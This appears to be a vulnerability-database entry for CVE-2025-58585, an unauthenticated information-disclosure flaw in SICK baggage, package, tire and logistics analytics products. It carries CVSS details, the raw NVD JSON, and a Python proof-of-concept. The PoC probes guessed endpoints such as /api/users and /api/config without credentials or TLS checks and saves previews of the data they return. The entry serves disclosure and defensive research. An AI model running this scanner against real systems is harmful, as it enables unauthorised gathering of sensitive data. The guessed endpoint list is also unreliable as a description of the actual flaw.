Security Vulnerability Report
中文
CVE-2025-58585 CVSS 5.3 MEDIUM

CVE-2025-58585

Published: 2025-10-06 07:15:35
Last Modified: 2026-01-27 19:47:09

Description

Multiple endpoints with sensitive information do not require authentication, making the application susceptible to information gathering.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:sick:baggage_analytics:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:sick:logistic_diagnostic_analytics:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:sick:package_analytics:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:sick:tire_analytics:*:*:*:*:*:*:*:* - VULNERABLE
SICK相关产品(具体版本请参考SICK官方CSAF公告sca-2025-0010)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2025-58585 - SICK Product Unauthenticated Sensitive Information Disclosure # This PoC demonstrates how an unauthenticated attacker can access sensitive endpoints import requests import sys import json from urllib3.exceptions import InsecureRequestWarning # Suppress SSL warnings for self-signed certificates requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) def exploit_sick_unauth_access(target_url): """ Exploit unauthenticated access to sensitive endpoints on SICK products. CVE-2025-58585 """ # Common sensitive endpoints that may be exposed without authentication sensitive_endpoints = [ "/api/config", "/api/system/info", "/api/users", "/api/diagnostics", "/api/network/config", "/admin/config", "/system/status", "/api/v1/config", "/api/v1/system", "/api/v1/diagnostics" ] headers = { "User-Agent": "Mozilla/5.0 (compatible; SecurityResearcher)", "Accept": "application/json, text/plain, */*" } print(f"[*] Target: {target_url}") print(f"[*] CVE-2025-58585 - SICK Unauthenticated Information Disclosure") print("-" * 60) findings = [] for endpoint in sensitive_endpoints: url = f"{target_url.rstrip('/')}{endpoint}" try: response = requests.get( url, headers=headers, timeout=10, verify=False, allow_redirects=False ) # Check if endpoint returns data without authentication if response.status_code == 200 and response.text.strip(): print(f"[+] VULNERABLE: {endpoint}") print(f" Status: {response.status_code}") print(f" Length: {len(response.text)} bytes") findings.append({ "endpoint": endpoint, "status": response.status_code, "data_preview": response.text[:200] }) elif response.status_code == 401 or response.status_code == 403: print(f"[-] Protected: {endpoint} (HTTP {response.status_code})") else: print(f"[?] Unknown: {endpoint} (HTTP {response.status_code})") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {endpoint}: {str(e)}") print("-" * 60) print(f"[*] Scan complete. Found {len(findings)} vulnerable endpoints.") return findings if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_url>") print(f"Example: {sys.argv[0]} https://192.168.1.100") sys.exit(1) target = sys.argv[1] results = exploit_sick_unauth_access(target) if results: print("\n[!] Target appears to be vulnerable to CVE-2025-58585") sys.exit(0) else: print("\n[+] Target does not appear to be vulnerable") sys.exit(1)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58585", "sourceIdentifier": "[email protected]", "published": "2025-10-06T07:15:35.230", "lastModified": "2026-01-27T19:47:09.070", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Multiple endpoints with sensitive information do not require authentication, making the application susceptible to information gathering."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-497"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sick:baggage_analytics:*:*:*:*:*:*:*:*", "matchCriteriaId": "E62416BA-1BF1-43BD-98B2-57BD34128419"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sick:logistic_diagnostic_analytics:*:*:*:*:*:*:*:*", "matchCriteriaId": "27031959-2981-4755-9E3D-02CD083F2B72"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sick:package_analytics:*:*:*:*:*:*:*:*", "matchCriteriaId": "5955214B-0D71-449A-BFD4-8804FDF91CA1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sick:tire_analytics:*:*:*:*:*:*:*:*", "matchCriteriaId": "86C0BA69-E701-45A3-ADA5-130B8AD9DF15"}]}]}], "references": [{"url": "https://sick.com/psirt", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/resources-tools/resources/ics-recommended-practices", "source": "[email protected]", "tags": ["US Government Resource"]}, {"url": "https://www.first.org/cvss/calculator/3.1", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0010.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0010.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/media/docs/9/19/719/special_information_sick_operating_guidelines_cybersecurity_by_sick_en_im0106719.pdf", "source": "[email protected]", "tags": ["Product"]}]}}